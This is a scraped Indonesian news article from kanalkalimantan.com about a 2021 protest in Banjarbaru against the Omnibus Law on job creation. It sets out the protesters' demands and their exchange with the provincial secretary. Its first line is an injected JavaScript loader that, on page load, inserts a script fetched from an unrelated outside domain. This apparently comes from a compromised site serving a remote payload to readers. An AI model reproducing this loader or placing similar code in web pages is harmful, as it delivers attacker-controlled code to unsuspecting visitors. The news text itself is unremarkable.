(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ada beberapa tuntutan demonstran yang disampaikan dalam aksi Saya VS oligarki yang dilakukan Fraksi Rakyat Indonesia (FRI) Kalsel di Kantor Gubernur Kalsel, Selasa (5/10/2021).
Korlap aksi Muhammad Iqbal Hambali, mengatakan, massa FRI Kalsel menuntut dan mendesak Pemerintah Provinsi Kalsel menyatakan sikap resmi menolak atau tidak melaksanakan UU No.11 tahun 2020 tentang Cipta Kerja Omnibus Law.
Kedua mendesak Gubernur agar memerintahkan Bupati/Walikota lingkup Kalsel untuk tidak melaksanakan UU Cipta Kerja.
Dan terakhir, FRI menuntut Sahbirin Noor agar mengajak seluruh gubernur yang ada di Kalimantan untuk menolak dan tidak menjalankan UU Cipta kerja dengan pernyataan resmi.
Baca juga : Aksi #Saya VS Oligarki, Mahasiswa Tunggu Paman Birin di Gubernuran
Dikatakan Iqbal, dalam UU Omnibus Law ini menyinggung masalah lingkungan. Gubernur harus menolak izin tambang dan tidak memasukkan sedikitpun pajak dari tambang kedalam pendapatan daerah.
“Awal tahun kita sudah diterjang banjir hebat di Kalsel, sudah memakan 6 Kabupaten/Kota yang jadi Korbannya itu akibat pengrusakan lingkungan dari koorperasi yang sewenang-wenang dalam mengekploitasi hutan Kalimantan,” katanya.
Alih-alih bertemu Gubernur Kalsel, aksi malah ditemui Sekdaprov Kalsel. Aksi sempat tegang ketika para demonstran hanya ditemui Sekdaprov Kalsel.
“Tuntutan kalian sudah kami pelajari dan akan fasilitasi, tolong bacakan kembali tuntutan kalian,” ucap Roy Rizali Anwar.
Baca juga : HUT ke-76 TNI, Dandim 1001/HSU-Blg Silaturahmi ke Veteran
“Loh! katanya sudah dibaca dan sudah dipelajari, kenapa minta bacakan kembali,” celetuk Aken salah satu demonstran.
Roy mengatakan alasan dia meminta para demonstran untuk didengarkan oleh para kepala SKPD yang berkaitan.
Iqbal menegaskan kepada Roy kalau tuntutan itu sudah dibaca dan dipelajari seharusnya tidak perlu lagi ada pengulangan. Tinggal berikan statement dan tanggapan sanggup tidaknya.
“Bapak yang berwenang untuk menandatangani tuntutan ini, berani bapak tanda tangan di tuntutan ini?” tanya Iqbal
Sementara itu Roy tidak bisa berargumen dan mengiyakan permintaan dari para demonstran.
Hingga berita ini diturunkan Gubernur Kalsel belum menemui para demonstran di halaman kantor gubernuran Kalsel (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.